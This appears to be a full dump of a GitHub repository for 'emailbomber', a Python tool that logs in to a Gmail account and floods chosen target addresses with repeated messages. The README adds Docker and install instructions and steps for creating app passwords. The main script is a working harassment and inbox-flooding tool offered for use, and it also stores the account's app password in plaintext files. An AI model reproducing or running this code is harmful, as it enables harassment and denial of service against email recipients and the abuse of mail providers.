├── .idea
├── .gitignore
├── vcs.xml
├── misc.xml
├── inspectionProfiles
│ └── profiles_settings.xml
├── modules.xml
└── emailbomber.iml
├── .gitattributes
├── resources
└── images
│ └── folder-structure.jpg
├── Dockerfile
├── Welcome
└── welcome.txt
├── LICENSE.md
├── emailbomber.py
└── README.md
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/resources/images/folder-structure.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/coderatul/emailbomber/HEAD/resources/images/folder-structure.jpg
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.10.12-alpine
2 | RUN apk update
3 | WORKDIR /emailbomber
4 | COPY emailbomber.py emailbomber.py
5 | COPY ./Welcome/welcome.txt ./Welcome/welcome.txt
6 | CMD "python" "emailbomber.py"
7 |
--------------------------------------------------------------------------------
/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/emailbomber.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Welcome/welcome.txt:
--------------------------------------------------------------------------------
1 | ███████╗███╗ ███╗ █████╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ███████╗██████╗
2 | ██╔════╝████╗ ████║██╔══██╗██║██║ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██╔════╝██╔══██╗
3 | █████╗ ██╔████╔██║███████║██║██║ ██████╔╝██║ ██║██╔████╔██║██████╔╝█████╗ ██████╔╝
4 | ██╔══╝ ██║╚██╔╝██║██╔══██║██║██║ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗
5 | ███████╗██║ ╚═╝ ██║██║ ██║██║███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝███████╗██║ ██║
6 | ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
7 |
8 | v2.0.0
9 | Author: linktr.ee/coderatul
10 | Reading the prerequisite section is required to run this script successfully.
11 | Prerequisite section: https://github.com/coderatul/emailbomber#prerequisite-%EF%B8%8F
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022-Present Atul Kushwaha
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/emailbomber.py:
--------------------------------------------------------------------------------
1 | # Built-in libraries
2 | import smtplib
3 | import getpass
4 | from os import access, path, mkdir
5 | from email.message import EmailMessage
6 |
7 | # Welcomes user
8 | print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n")
9 |
10 | # User inputs
11 | if not path.exists("User_Credentials"):
12 | # If User_Credentials does not exist, asks for user credentials
13 | sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ")
14 | app_password = getpass.getpass("Enter the app's password (xxxx xxxx xxxx xxxx) -> ")
15 | else:
16 | # Otherwise, reads saved user credentials
17 | sender = open("User_Credentials/sender.txt", "rt").read()
18 | app_password = open("User_Credentials/app_password.txt", "rt").read()
19 |
20 | print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)")
21 |
22 | # Enter the email(s) that you would like to email-bomb
23 | receiver = input("Specify the email(s) you would like to email-bomb -> ")
24 |
25 | # Enter the subject for the emails
26 | subject = input("Enter the subject for your email-bomber message -> ")
27 |
28 | # Enter the message that the email user(s) will receive
29 | msg = input("Enter your email-bomber message -> ")
30 |
31 | message = EmailMessage()
32 | message.set_content(msg, subtype="plain", charset='us-ascii')
33 | message["Subject"] = subject # Set the subject for the email
34 |
35 | # Loop until a valid count value is given
36 | while True:
37 | try:
38 | count = int(input("Enter a number for the amount of emails to be sent -> "))
39 | except ValueError:
40 | print("Please enter an integer for the amount of emails to be sent.")
41 | except KeyboardInterrupt:
42 | print("Goodbye!")
43 | quit()
44 |
45 | if count <= 0:
46 | print("Count must be positive. Received", count)
47 | continue
48 | break
49 |
50 | # Server
51 | server = smtplib.SMTP("smtp.gmail.com", 587)
52 | server.starttls()
53 |
54 | # Attempts to log in to the user's Gmail account
55 | try:
56 | server.login(user=sender, password=app_password)
57 | except smtplib.SMTPAuthenticationError as error:
58 | print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.")
59 | print(f"{error}")
60 | input("Enter to exit...")
61 | quit()
62 |
63 | try:
64 | if not path.exists("User_Credentials"):
65 | # If user credentials do not exist, create and save credential files
66 | # If there are no errors in credentials, save user information after SMTP verification
67 | mkdir("User_Credentials")
68 | open("User_Credentials/sender.txt", "xt").write(sender)
69 | open("User_Credentials/app_password.txt", "xt").write(app_password)
70 | input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
71 | except OSError:
72 | print("\nError: There was an error saving your credentials.")
73 |
74 | print("\nEmail-bomber has started...\n")
75 |
76 | for i in range(count):
77 | # Amount of messages to be sent
78 | for email_receiver in receiver.split(","):
79 | # Loops through emails to send emails to
80 | try:
81 | print(f"Email-bombing {email_receiver}...")
82 | server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message.as_string())
83 | print("Email sent successfully!")
84 | except smtplib.SMTPException as error:
85 | print(f"Error: {error}")
86 | continue
87 |
88 | input("\nEmail-bomber was successful...\nPress enter to exit...")
89 | server.close()
90 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 📧 Email-Bomber v2.0.0
2 | 
3 | - An open Source free to use email-bomber using python's built-in library SMTP.
4 | - This project's image is also available at dockerhub `docker pull coderatul/emailbomber`
5 | - use following commands to use it on docker 🐋
6 | - ```
7 | docker run --rm -i -t emailbomber /bin/sh
8 | ```
9 | - ```
10 | python3 emailbomber.py
11 | ```
12 | ## GUI version 💻
13 | > checkout [GUI](https://github.com/coderatul/emailGUI.git) version of emailbomber
14 |
15 | 
16 |
17 | ## ⚠️ Prerequisite
18 | 
19 |
20 | ### Enabling 2-Step Verification
21 | - Go to your [Google Account](https://myaccount.google.com/) which you would like to send email-bombs from.
22 | - Select [Security](https://myaccount.google.com/security).
23 | - Enable [2-Step Verification](https://myaccount.google.com/signinoptions/two-step-verification).
24 |
25 | ### Create App Password
26 | 
27 | - Go to [App Passwords](https://myaccount.google.com/apppasswords).
28 | - Select app as Mail.
29 | - Select device as your device e.g. Windows Computer etc.
30 | - If you do not have this option available:
31 | - You turned on Advanced Protection.
32 | - 2-Step Verification is not set up for your account.
33 | - 2-Step Verification is only set up for security keys.
34 | - Your account is under the control by work, school, or an organization.
35 |
36 | ### Use App Password
37 | 
38 | - Copy App Password.
39 | - Use App Password in Email-Bomber script (you can input it safely into the prompt without it displaying to the console).
40 |
41 | ### Setup App Password in Email-Bomber script
42 | 
43 | - Create User_Credentials folder in Email-Bomber folder
44 | - Replicate the folder structure
45 | - Paste App Password in app_password.txt
46 | - Paste sender's email in sender.txt
47 | - You're good to go!!
48 |
49 | ## 📑 Installation Guide
50 | ### Termux
51 | ```
52 | pkg install git
53 | ```
54 | ```
55 | pkg install python
56 | ```
57 | ```
58 | git clone https://github.com/coderatul/emailbomber
59 | ```
60 | ```
61 | ls
62 | ```
63 | ```
64 | cd emailbomber
65 | ```
66 | ```
67 | python emailbomber.py
68 | ```
69 | ### Linux Distributions
70 | ```
71 | sudo apt install git
72 | ```
73 | ```
74 | sudo apt install python3.8
75 | ```
76 | ```
77 | sudo apt update && upgrade
78 | ```
79 | ```
80 | git clone https://github.com/coderatul/emailbomber
81 | ```
82 | ```
83 | cd emailbomber
84 | ```
85 | ```
86 | python emailbomber.py
87 | ```
88 |
89 | ## 📇 License
90 | ```
91 | MIT License
92 |
93 | Copyright (c) 2022-Present, Atul Kushwaha.
94 |
95 | Permission is hereby granted, free of charge, to any person obtaining a copy
96 | of this software and associated documentation files (the "Software"), to deal
97 | in the Software without restriction, including without limitation the rights
98 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
99 | copies of the Software, and to permit persons to whom the Software is
100 | furnished to do so, subject to the following conditions:
101 |
102 | The above copyright notice and this permission notice shall be included in all
103 | copies or substantial portions of the Software.
104 |
105 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
106 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
107 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
108 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
109 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
110 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
111 | SOFTWARE.
112 | ```
113 |
114 | ## 🤵 Authors
115 | - [@coderatul](https://github.com/coderatul)
116 |
117 | ## ❔ Questions/Feedback
118 | If you have any questions or feedback, please reach out in [issues](https://github.com/coderatul/emailbomber/issues).
119 |
--------------------------------------------------------------------------------